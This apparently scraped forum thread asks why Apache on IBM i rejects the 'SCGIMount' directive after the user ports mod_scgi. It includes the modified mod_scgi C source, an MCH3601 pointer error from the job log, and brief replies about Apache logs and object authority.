if (content_length <= 0)break;
}
fclose(stdin);
}

Directive name "SCGIMount" is not recognized

I am trying to get a simple django app up on Http Server. The server is IBM Websphere Application Server. I have successfully compiled mod_scgi.c to the iseries.
I proceeded to create a server and edit the configuration file with the following code:
#Load the mod_scgi module
LoadModule scgi_module /qsys.lib/qgpl.lib/mod_scgi.srvpgm
# Set up location to be server by an SCGI server process
SCGIMount /dynamic 127.0.0.1:8080
This produces an error on the configuration file: "Directive name "SCGIMount" is not recognized."
I am not sure how to proceed from here. Also, the mod_scgi.c file has been modified to allow it to be compiled to the iseries. I have provided the code below:
/* mod_scgi.c
*
* Apache 2 implementation of the SCGI protocol.
*
*/
#define MOD_SCGI_VERSION "1.14"
#define SCGI_PROTOCOL_VERSION "1"
#include "ap_config.h"
#include "apr_version.h"
#include "apr_lib.h"
#include "apr_strings.h"
#include "httpd.h"
#include "http_config.h"
#include "http_core.h"
#include "http_request.h"
#include "http_log.h"
#include "http_protocol.h"
#include "util_script.h"
#ifdef AS400
#include <strings.h>
#endif
#define DEFAULT_TIMEOUT 60 /* default socket timeout */
#define UNSET 0
#define ENABLED 1
#define DISABLED 2
#if APR_MAJOR_VERSION == 0
#define apr_socket_send apr_send
#define GET_PORT(port, addr) apr_sockaddr_port_get(&(port), addr)
#define CREATE_SOCKET(sock, family, pool) \
apr_socket_create(sock, family, SOCK_STREAM, pool)
#else
#define GET_PORT(port, addr) ((port) = (addr)->port)
#define CREATE_SOCKET(sock, family, pool) \
apr_socket_create(sock, family, SOCK_STREAM, APR_PROTO_TCP, pool)
#endif
typedef struct {
char *path;
char *addr;
apr_port_t port;
} mount_entry;
/*
* Configuration record. Used per-directory configuration data.
*/
typedef struct {
mount_entry mount;
int enabled; /* mod_scgi is enabled from this directory */
int timeout;
} scgi_cfg;
/* Server level configuration */
typedef struct {
apr_array_header_t *mounts;
int timeout;
} scgi_server_cfg;
/*
* Declare ourselves so the configuration routines can find and know us.
* We'll fill it in at the end of the module.
*/
module AP_MODULE_DECLARE_DATA scgi_module;
/*
* Locate our directory configuration record for the current request.
*/
static scgi_cfg *
our_dconfig(request_rec *r)
{
return (scgi_cfg *) ap_get_module_config(r->per_dir_config, &scgi_module);
}
static scgi_server_cfg *our_sconfig(server_rec *s)
{
return (scgi_server_cfg *) ap_get_module_config(s->module_config,
&scgi_module);
}
static int
mount_entry_matches(const char *url, const char *prefix,
const char **path_info)
{
int i;
for (i=0; prefix[i] != '\0'; i++) {
if (url[i] == '\0' || url[i] != prefix[i])
return 0;
}
if (url[i] == '\0' || url[i] == '/') {
*path_info = url + i;
return 1;
}
return 0;
}
static int scgi_translate(request_rec *r)
{
scgi_cfg *cfg = our_dconfig(r);
if (cfg->enabled == DISABLED) {
return DECLINED;
}
if (cfg->mount.addr != UNSET) {
ap_assert(cfg->mount.port != UNSET);
r->handler = "scgi-handler";
r->filename = r->uri;
return OK;
}
else {
int i;
scgi_server_cfg *scfg = our_sconfig(r->server);
mount_entry *entries = (mount_entry *) scfg->mounts->elts;
for (i = 0; i < scfg->mounts->nelts; ++i) {
const char *path_info;
mount_entry *mount = &entries[i];
if (mount_entry_matches(r->uri, mount->path, &path_info)) {
r->handler = "scgi-handler";
r->path_info = apr_pstrdup(r->pool, path_info);
r->filename = r->uri;
ap_set_module_config(r->request_config, &scgi_module, mount);
return OK;
}
}
}
return DECLINED;
}
static int scgi_map_location(request_rec *r)
{
if (r->handler && strcmp(r->handler, "scgi-handler") == 0) {
return OK; /* We don't want directory walk. */
}
return DECLINED;
}
static void log_err(const char *file, int line, request_rec *r,
apr_status_t status, const char *msg)
{
ap_log_rerror(file, line, APLOG_ERR, status, r, "scgi: %s", msg);
}
static void log_debug(const char *file, int line, request_rec *r, const
char *msg)
{
ap_log_rerror(file, line, APLOG_DEBUG, APR_SUCCESS, r, msg);
}
static char *http2env(apr_pool_t *p, const char *name)
{
char *env_name = apr_pstrcat(p, "HTTP_", name, NULL);
char *cp;
for (cp = env_name + 5; *cp != 0; cp++) {
if (*cp == '-') {
*cp = '_';
}
else {
*cp = apr_toupper(*cp);
}
}
return env_name;
}
static char *lookup_name(apr_table_t *t, const char *name)
{
const apr_array_header_t *hdrs_arr = apr_table_elts(t);
apr_table_entry_t *hdrs = (apr_table_entry_t *) hdrs_arr->elts;
int i;
for (i = 0; i < hdrs_arr->nelts; ++i) {
if (hdrs[i].key == NULL)
continue;
if (strcasecmp(hdrs[i].key, name) == 0)
return hdrs[i].val;
}
return NULL;
}
static char *lookup_header(request_rec *r, const char *name)
{
return lookup_name(r->headers_in, name);
}
static void add_header(apr_table_t *t, const char *name, const char *value)
{
if (name != NULL && value != NULL)
apr_table_addn(t, name, value);
}
static int find_path_info(const char *uri, const char *path_info)
{
int n;
n = strlen(uri) - strlen(path_info);
ap_assert(n >= 0);
return n;
}
/* This code is a duplicate of what's in util_script.c. We can't use
* r->unparsed_uri because it gets changed if there was a redirect. */
static char *original_uri(request_rec *r)
{
char *first, *last;
if (r->the_request == NULL) {
return (char *) apr_pcalloc(r->pool, 1);
}
first = r->the_request; /* use the request-line */
while (*first && !apr_isspace(*first)) {
++first; /* skip over the method */
}
while (apr_isspace(*first)) {
++first; /* and the space(s) */
}
last = first;
while (*last && !apr_isspace(*last)) {
++last; /* end at next whitespace */
}
return apr_pstrmemdup(r->pool, first, last - first);
}
/* buffered socket implementation (buckets are overkill) */
#define BUFFER_SIZE 8000
struct sockbuff {
apr_socket_t *sock;
char buf[BUFFER_SIZE];
int used;
};
static void binit(struct sockbuff *s, apr_socket_t *sock)
{
s->sock = sock;
s->used = 0;
}
static apr_status_t sendall(apr_socket_t *sock, char *buf, apr_size_t len)
{
apr_status_t rv;
apr_size_t n;
while (len > 0) {
n = len;
if ((rv = apr_socket_send(sock, buf, &n))) return rv;
buf += n;
len -= n;
}
return APR_SUCCESS;
}
static apr_status_t bflush(struct sockbuff *s)
{
apr_status_t rv;
ap_assert(s->used >= 0 && s->used <= BUFFER_SIZE);
if (s->used) {
if ((rv = sendall(s->sock, s->buf, s->used))) return rv;
s->used = 0;
}
return APR_SUCCESS;
}
static apr_status_t bwrite(struct sockbuff *s, char *buf, apr_size_t len)
{
apr_status_t rv;
if (len >= BUFFER_SIZE - s->used) {
if ((rv = bflush(s))) return rv;
while (len >= BUFFER_SIZE) {
if ((rv = sendall(s->sock, buf, BUFFER_SIZE))) return rv;
buf += BUFFER_SIZE;
len -= BUFFER_SIZE;
}
}
if (len > 0) {
ap_assert(len < BUFFER_SIZE - s->used);
memcpy(s->buf + s->used, buf, len);
s->used += len;
}
return APR_SUCCESS;
}
static apr_status_t bputs(struct sockbuff *s, char *buf)
{
return bwrite(s, buf, strlen(buf));
}
static apr_status_t bputc(struct sockbuff *s, char c)
{
char buf[1];
buf[0] = c;
return bwrite(s, buf, 1);
}
static apr_status_t
send_headers(request_rec *r, struct sockbuff *s)
{
/* headers to send */
apr_table_t *t;
const apr_array_header_t *hdrs_arr, *env_arr;
apr_table_entry_t *hdrs, *env;
unsigned long int n = 0;
char *buf;
int i;
apr_status_t rv = 0;
apr_port_t port = 0;
GET_PORT(port, r->connection->remote_addr);
log_debug(APLOG_MARK,r, "sending headers");
t = apr_table_make(r->pool, 40);
if (!t)
return APR_ENOMEM;
/* CONTENT_LENGTH must come first and always be present */
buf = lookup_header(r, "Content-Length");
if (buf == NULL)
buf = "0";
add_header(t, "CONTENT_LENGTH", buf);
add_header(t, "SCGI", SCGI_PROTOCOL_VERSION);
add_header(t, "SERVER_SOFTWARE", ap_get_server_version());
add_header(t, "SERVER_PROTOCOL", r->protocol);
add_header(t, "SERVER_NAME", ap_get_server_name(r));
add_header(t, "SERVER_ADMIN", r->server->server_admin);
add_header(t, "SERVER_ADDR", r->connection->local_ip);
add_header(t, "SERVER_PORT", apr_psprintf(r->pool, "%u",
ap_get_server_port(r)));
add_header(t, "REMOTE_ADDR", r->connection->remote_ip);
add_header(t, "REMOTE_PORT", apr_psprintf(r->pool, "%d", port));
add_header(t, "REMOTE_USER", r->user);
add_header(t, "REQUEST_METHOD", r->method);
add_header(t, "REQUEST_URI", original_uri(r));
add_header(t, "QUERY_STRING", r->args ? r->args : "");
if (r->path_info) {
int path_info_start = find_path_info(r->uri, r->path_info);
add_header(t, "SCRIPT_NAME", apr_pstrndup(r->pool, r->uri,
path_info_start));
add_header(t, "PATH_INFO", r->path_info);
}
else {
/* skip PATH_INFO, don't know it */
add_header(t, "SCRIPT_NAME", r->uri);
}
add_header(t, "CONTENT_TYPE", lookup_header(r, "Content-type"));
add_header(t, "DOCUMENT_ROOT", ap_document_root(r));
/* HTTP headers */
hdrs_arr = apr_table_elts(r->headers_in);
hdrs = (apr_table_entry_t *) hdrs_arr->elts;
for (i = 0; i < hdrs_arr->nelts; ++i) {
if (hdrs[i].key) {
add_header(t, http2env(r->pool, hdrs[i].key), hdrs[i].val);
}
}
/* environment variables */
env_arr = apr_table_elts(r->subprocess_env);
env = (apr_table_entry_t*) env_arr->elts;
for (i = 0; i < env_arr->nelts; ++i) {
add_header(t, env[i].key, env[i].val);
}
hdrs_arr = apr_table_elts(t);
hdrs = (apr_table_entry_t*) hdrs_arr->elts;
/* calculate length of header data (including nulls) */
for (i = 0; i < hdrs_arr->nelts; ++i) {
n += strlen(hdrs[i].key) + 1;
n += strlen(hdrs[i].val) + 1;
}
buf = apr_psprintf(r->pool, "%lu:", n);
if (!buf)
return APR_ENOMEM;
rv = bputs(s, buf);
if (rv)
return rv;
for (i = 0; i < hdrs_arr->nelts; ++i) {
rv = bputs(s, hdrs[i].key);
if (rv) return rv;
rv = bputc(s, '\0');
if (rv) return rv;
rv = bputs(s, hdrs[i].val);
if (rv) return rv;
rv = bputc(s, '\0');
if (rv) return rv;
}
rv = bputc(s, ',');
if (rv)
return rv;
return APR_SUCCESS;
}
static apr_status_t send_request_body(request_rec *r, struct sockbuff *s)
{
if (ap_should_client_block(r)) {
char buf[BUFFER_SIZE];
apr_status_t rv;
apr_off_t len;
while ((len = ap_get_client_block(r, buf, sizeof buf)) > 0) {
if ((rv = bwrite(s, buf, len))) return rv;
}
if (len == -1)
return HTTP_INTERNAL_SERVER_ERROR; /* what to return? */
}
return APR_SUCCESS;
}
#define CONFIG_VALUE(value, fallback) ((value) != UNSET ? (value) : (fallback))
static apr_status_t
open_socket(apr_socket_t **sock, request_rec *r)
{
int timeout;
int retries = 4;
int sleeptime = 1;
apr_status_t rv;
apr_sockaddr_t *sockaddr;
scgi_server_cfg *scfg = our_sconfig(r->server);
scgi_cfg *cfg = our_dconfig(r);
mount_entry *m = (mount_entry *) ap_get_module_config(r->request_config,
&scgi_module);
if (!m) {
m = &cfg->mount;
}
timeout = CONFIG_VALUE(cfg->timeout, CONFIG_VALUE(scfg->timeout,
DEFAULT_TIMEOUT));
rv = apr_sockaddr_info_get(&sockaddr,
CONFIG_VALUE(m->addr, "localhost"),
APR_UNSPEC,
CONFIG_VALUE(m->port, 4000),
0,
r->pool);
if (rv) {
log_err(APLOG_MARK, r, rv, "apr_sockaddr_info_get() error");
return rv;
}
restart:
*sock = NULL;
rv = CREATE_SOCKET(sock, sockaddr->family, r->pool);
if (rv) {
log_err(APLOG_MARK, r, rv, "apr_socket_create() error");
return rv;
}
rv = apr_socket_timeout_set(*sock, apr_time_from_sec(timeout));
if (rv) {
log_err(APLOG_MARK, r, rv, "apr_socket_timeout_set() error");
return rv;
}
rv = apr_socket_connect(*sock, sockaddr);
if (rv) {
apr_socket_close(*sock);
if ((APR_STATUS_IS_ECONNREFUSED(rv) |
APR_STATUS_IS_EINPROGRESS(rv)) && retries > 0) {
/* server may be temporarily down, retry */
ap_log_rerror(APLOG_MARK, APLOG_NOERRNO|APLOG_DEBUG, rv, r,
"scgi: connection failed, retrying");
apr_sleep(apr_time_from_sec(sleeptime));
--retries;
sleeptime *= 2;
goto restart;
}
log_err(APLOG_MARK, r, rv, "scgi: can't connect to server");
return rv;
}
#ifdef APR_TCP_NODELAY
/* disable Nagle, we don't send small packets */
apr_socket_opt_set(*sock, APR_TCP_NODELAY, 1);
#endif
return APR_SUCCESS;
}
#ifdef AS400
static int getsfunc_BRIGADE(char *buf, int len, void *arg)
{
apr_bucket_brigade *bb = (apr_bucket_brigade *)arg;
const char *dst_end = buf + len - 1; /* leave room for terminating null */
char *dst = buf;
apr_bucket *e = APR_BRIGADE_FIRST(bb);
apr_status_t rv;
int done = 0;
while ((dst < dst_end) && !done && e != APR_BRIGADE_SENTINEL(bb)
&& !APR_BUCKET_IS_EOS(e)) {
const char *bucket_data;
apr_size_t bucket_data_len;
const char *src;
const char *src_end;
apr_bucket * next;
rv = apr_bucket_read(e, &bucket_data, &bucket_data_len,
APR_BLOCK_READ);
if (rv != APR_SUCCESS || (bucket_data_len == 0)) {
*dst = '\0';
return APR_STATUS_IS_TIMEUP(rv) ? -1 : 0;
}
src = bucket_data;
src_end = bucket_data + bucket_data_len;
while ((src < src_end) && (dst < dst_end) && !done) {
if (*src == '\n') {
done = 1;
}
else if (*src != '\r') {
*dst++ = *src;
}
src++;
}
if (src < src_end) {
apr_bucket_split(e, src - bucket_data);
}
next = APR_BUCKET_NEXT(e);
APR_BUCKET_REMOVE(e);
apr_bucket_destroy(e);
e = next;
}
*dst = 0;
return done;
}
#endif
static int scgi_handler(request_rec *r)
{
apr_status_t rv = 0;
int http_status = 0;
struct sockbuff s;
apr_socket_t *sock;
apr_bucket_brigade *bb = NULL;
apr_bucket *b = NULL;
const char *location;
if (strcmp(r->handler, "scgi-handler"))
return DECLINED;
http_status = ap_setup_client_block(r, REQUEST_CHUNKED_ERROR);
if (http_status != OK)
return http_status;
log_debug(APLOG_MARK, r, "connecting to server");
rv = open_socket(&sock, r);
if (rv) {
return HTTP_INTERNAL_SERVER_ERROR;
}
binit(&s, sock);
rv = send_headers(r, &s);
if (rv) {
log_err(APLOG_MARK, r, rv, "error sending request headers");
return HTTP_INTERNAL_SERVER_ERROR;
}
rv = send_request_body(r, &s);
if (rv) {
log_err(APLOG_MARK, r, rv, "error sending request body");
return HTTP_INTERNAL_SERVER_ERROR;
}
rv = bflush(&s);
if (rv) {
log_err(APLOG_MARK, r, rv, "error sending request");
return HTTP_INTERNAL_SERVER_ERROR;
}
log_debug(APLOG_MARK, r, "reading response headers");
bb = apr_brigade_create(r->connection->pool, r->connection->bucket_alloc);
b = apr_bucket_socket_create(sock, r->connection->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, b);
b = apr_bucket_eos_create(r->connection->bucket_alloc);
APR_BRIGADE_INSERT_TAIL(bb, b);
#ifdef AS400
rv = ap_scan_script_header_err_core(r, NULL, getsfunc_BRIGADE, bb);
#else
rv = ap_scan_script_header_err_brigade(r, bb, NULL);
#endif
if (rv) {
if (rv == HTTP_INTERNAL_SERVER_ERROR) {
log_err(APLOG_MARK, r, rv, "error reading response headers");
}
else {
/* Work around an Apache bug whereby the returned status is
* ignored and status_line is used instead. This bug is
* present at least in 2.0.54.
*/
r->status_line = NULL;
}
apr_brigade_destroy(bb);
return rv;
}
location = apr_table_get(r->headers_out, "Location");
if (location && location[0] == '/' &&
((r->status == HTTP_OK) || ap_is_HTTP_REDIRECT(r->status))) {
apr_brigade_destroy(bb);
/* Internal redirect -- fake-up a pseudo-request */
r->status = HTTP_OK;
/* This redirect needs to be a GET no matter what the original
* method was.
*/
r->method = apr_pstrdup(r->pool, "GET");
r->method_number = M_GET;
/* We already read the message body (if any), so don't allow
* the redirected request to think it has one. We can ignore
* Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
*/
apr_table_unset(r->headers_in, "Content-Length");
ap_internal_redirect_handler(location, r);
return OK;
}
rv = ap_pass_brigade(r->output_filters, bb);
if (rv) {
log_err(APLOG_MARK, r, rv, "ap_pass_brigade()");
return HTTP_INTERNAL_SERVER_ERROR;
}
return OK;
}
static int scgi_init(apr_pool_t *p, apr_pool_t *plog, apr_pool_t *ptemp,
server_rec *base_server)
{
ap_add_version_component(p, "mod_scgi/" MOD_SCGI_VERSION);
return OK;
}
static void *
create_dir_config(apr_pool_t *p, char *dirspec)
{
scgi_cfg *cfg = apr_pcalloc(p, sizeof(scgi_cfg));
cfg->enabled = UNSET;
cfg->mount.addr = UNSET;
cfg->mount.port = UNSET;
cfg->timeout = UNSET;
return cfg;
}
#define MERGE(b, n, a) (n->a == UNSET ? b->a : n->a)
static void *
merge_dir_config(apr_pool_t *p, void *basev, void *newv)
{
scgi_cfg* cfg = apr_pcalloc(p, sizeof(scgi_cfg));
scgi_cfg* base = basev;
scgi_cfg* new = newv;
cfg->enabled = MERGE(base, new, enabled);
cfg->mount.addr = MERGE(base, new, mount.addr);
cfg->mount.port = MERGE(base, new, mount.port);
cfg->timeout = MERGE(base, new, timeout);
return cfg;
}
static void *
create_server_config(apr_pool_t *p, server_rec *s)
{
scgi_server_cfg *c =
(scgi_server_cfg *) apr_pcalloc(p, sizeof(scgi_server_cfg));
c->mounts = apr_array_make(p, 20, sizeof(mount_entry));
c->timeout = UNSET;
return c;
}
static void *
merge_server_config(apr_pool_t *p, void *basev, void *overridesv)
{
scgi_server_cfg *c = (scgi_server_cfg *)
apr_pcalloc(p, sizeof(scgi_server_cfg));
scgi_server_cfg *base = (scgi_server_cfg *) basev;
scgi_server_cfg *overrides = (scgi_server_cfg *) overridesv;
c->mounts = apr_array_append(p, overrides->mounts, base->mounts);
c->timeout = MERGE(base, overrides, timeout);
return c;
}
static const char *
cmd_mount(cmd_parms *cmd, void *dummy, const char *path, const char *addr)
{
int n;
apr_status_t rv;
char *scope_id = NULL; /* A ip6 parameter - not used here. */
scgi_server_cfg *scfg = our_sconfig(cmd->server);
mount_entry *new = apr_array_push(scfg->mounts);
n = strlen(path);
while (n > 0 && path[n-1] == '/') {
n--; /* strip trailing slashes */
}
new->path = apr_pstrndup(cmd->pool, path, n);
rv = apr_parse_addr_port(&new->addr, &scope_id, &new->port, addr,
cmd->pool);
if (rv)
return "error parsing address:port string";
return NULL;
}
static const char *
cmd_server(cmd_parms *cmd, void *pcfg, const char *addr_and_port)
{
apr_status_t rv;
scgi_cfg *cfg = pcfg;
char *scope_id = NULL; /* A ip6 parameter - not used here. */
if (cmd->path == NULL)
return "not a server command";
rv = apr_parse_addr_port(&cfg->mount.addr, &scope_id, &cfg->mount.port,
addr_and_port, cmd->pool);
if (rv)
return "error parsing address:port string";
return NULL;
}
static const char *
cmd_handler(cmd_parms* cmd, void* pcfg, int flag)
{
scgi_cfg *cfg = pcfg;
if (cmd->path == NULL) /* server command */
return "not a server command";
if (flag)
cfg->enabled = ENABLED;
else
cfg->enabled = DISABLED;
return NULL;
}
static const char *
cmd_timeout(cmd_parms *cmd, void* pcfg, const char *strtimeout)
{
scgi_cfg *dcfg = pcfg;
int timeout = atoi(strtimeout);
if (cmd->path == NULL) {
scgi_server_cfg *scfg = our_sconfig(cmd->server);
scfg->timeout = timeout;
}
else {
dcfg->timeout = timeout;
}
return NULL;
}
static const command_rec scgi_cmds[] =
{
AP_INIT_TAKE2("SCGIMount", cmd_mount, NULL, RSRC_CONF,
"path prefix and address of SCGI server"),
AP_INIT_TAKE1("SCGIServer", cmd_server, NULL, ACCESS_CONF,
"Address and port of an SCGI server (e.g. localhost:4000)"),
AP_INIT_FLAG( "SCGIHandler", cmd_handler, NULL, ACCESS_CONF,
"On or Off to enable or disable the SCGI handler"),
AP_INIT_TAKE1("SCGIServerTimeout", cmd_timeout, NULL, ACCESS_CONF|RSRC_CONF,
"Timeout (in seconds) for communication with the SCGI server."),
{NULL}
};
static void scgi_register_hooks(apr_pool_t *p)
{
ap_hook_post_config(scgi_init, NULL, NULL, APR_HOOK_MIDDLE);
ap_hook_handler(scgi_handler, NULL, NULL, APR_HOOK_MIDDLE);
ap_hook_translate_name(scgi_translate, NULL, NULL, APR_HOOK_LAST);
ap_hook_map_to_storage(scgi_map_location, NULL, NULL, APR_HOOK_FIRST);
}
/* Dispatch list for API hooks */
module AP_MODULE_DECLARE_DATA scgi_module = {
STANDARD20_MODULE_STUFF,
create_dir_config, /* create per-dir config structs */
merge_dir_config, /* merge per-dir config structs */
create_server_config, /* create per-server config structs */
merge_server_config, /* merge per-server config structs */
scgi_cmds, /* table of config file commands */
scgi_register_hooks, /* register hooks */
};
UPDATE to the UPDATE:
I have narrowed down the problem to the following Error Message MCH3601:
MCH3601 Escape 40 06/05/15 15:41:10.884937 MOD_SCGI QGPL *STMT MOD_SCGI QGPL *STMT
From module . . . . . . . . : MOD_SCGI
From procedure . . . . . . : our_dconfig
Statement . . . . . . . . . : 1
To module . . . . . . . . . : MOD_SCGI
To procedure . . . . . . . : our_dconfig
Statement . . . . . . . . . : 1
Thread . . . . : 00000039
Message . . . . : Pointer not set for location referenced.
Cause . . . . . : A pointer was used, either directly or as a basing
pointer, that has not been set to an address.
It looks like the web server is actually Apache, not WAS. What does the Apache log say?
Is the Apache user profile authorised to the mod_scgi service program, and to the library QGPL?

Resources